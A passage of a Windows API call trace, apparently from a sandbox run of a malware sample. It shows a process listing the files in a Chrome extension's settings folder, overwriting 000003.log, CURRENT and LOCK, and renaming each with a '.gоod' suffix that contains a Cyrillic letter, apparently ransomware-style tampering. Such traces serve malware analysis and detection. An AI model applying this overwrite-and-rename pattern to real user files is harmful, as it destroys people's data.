ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.438] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0209.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0209.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0209.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x77 [0209.439] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.439] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.440] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae4a779, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0209.440] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead4a1af, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead4a1af, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeadba66c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0209.440] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0209.440] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0209.440] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead4a1af, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0209.441] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead4a1af, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0209.441] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0209.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0209.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", lpFilePart=0x0) returned 0x82 [0209.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0209.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x34ddfa8 | out: lpFileInformation=0x34ddfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae4a779, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0209.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0209.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", lpFilePart=0x0) returned 0x82 [0209.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0209.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0209.444] GetFileType (hFile=0x478) returned 0x1 [0209.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0209.444] GetFileType (hFile=0x478) returned 0x1 [0209.444] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x0 [0209.444] CloseHandle (hObject=0x478) returned 1 [0210.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", lpFilePart=0x0) returned 0x82 [0210.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0210.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.146] GetFileType (hFile=0x834) returned 0x1 [0210.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0210.147] GetFileType (hFile=0x834) returned 0x1 [0210.147] WriteFile (in: hFile=0x834, lpBuffer=0x3745f68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3745f68*, lpNumberOfBytesWritten=0x208ed308*=0x10, lpOverlapped=0x0) returned 1 [0210.147] CloseHandle (hObject=0x834) returned 1 [0210.147] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", lpFilePart=0x0) returned 0x82 [0210.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.gоod", lpFilePart=0x0) returned 0x87 [0210.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0210.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae4a779, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x79792bcd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0210.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0210.148] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.gоod")) returned 1 [0210.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", lpFilePart=0x0) returned 0x7f [0210.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0210.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), fInfoLevelId=0x0, lpFileInformation=0x3747310 | out: lpFileInformation=0x3747310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead4a1af, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead4a1af, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeadba66c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0210.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0210.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", lpFilePart=0x0) returned 0x7f [0210.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0210.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.149] GetFileType (hFile=0x834) returned 0x1 [0210.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0210.149] GetFileType (hFile=0x834) returned 0x1 [0210.149] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x10 [0210.150] ReadFile (in: hFile=0x834, lpBuffer=0x37476f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x37476f0*, lpNumberOfBytesRead=0x208ed3f8*=0x10, lpOverlapped=0x0) returned 1 [0210.150] CloseHandle (hObject=0x834) returned 1 [0210.408] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0211.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", lpFilePart=0x0) returned 0x7f [0211.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0211.389] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.390] GetFileType (hFile=0x858) returned 0x1 [0211.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0211.390] GetFileType (hFile=0x858) returned 0x1 [0211.390] WriteFile (in: hFile=0x858, lpBuffer=0x37fb020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x37fb020*, lpNumberOfBytesWritten=0x208ed308*=0x20, lpOverlapped=0x0) returned 1 [0211.391] CloseHandle (hObject=0x858) returned 1 [0211.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", lpFilePart=0x0) returned 0x7f [0211.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.gоod", lpFilePart=0x0) returned 0x84 [0211.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0211.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead4a1af, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead4a1af, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7a358572, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0211.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0211.392] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current.gоod")) returned 1 [0211.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", lpFilePart=0x0) returned 0x7c [0211.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0211.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), fInfoLevelId=0x0, lpFileInformation=0x37fc3c0 | out: lpFileInformation=0x37fc3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0211.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0211.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", lpFilePart=0x0) returned 0x7c [0211.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0211.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.394] GetFileType (hFile=0x858) returned 0x1 [0211.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0211.394] GetFileType (hFile=0x858) returned 0x1 [0211.394] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x0 [0211.394] CloseHandle (hObject=0x858) returned 1 [0211.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", lpFilePart=0x0) returned 0x7c [0211.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0211.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0211.750] GetFileType (hFile=0x834) returned 0x1 [0211.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0211.750] GetFileType (hFile=0x834) returned 0x1 [0211.750] WriteFile (in: hFile=0x834, lpBuffer=0x35db7d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x35db7d0*, lpNumberOfBytesWritten=0x208ed308*=0x10, lpOverlapped=0x0) returned 1 [0211.751] CloseHandle (hObject=0x834) returned 1 [0211.751] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK", lpFilePart=0x0) returned 0x7c [0211.751] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK.gоod", lpFilePart=0x0) returned 0x81 [0211.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0211.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7a6c5b4d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0211.751] SetThreadErrorMode (dwNewMode=0x0, 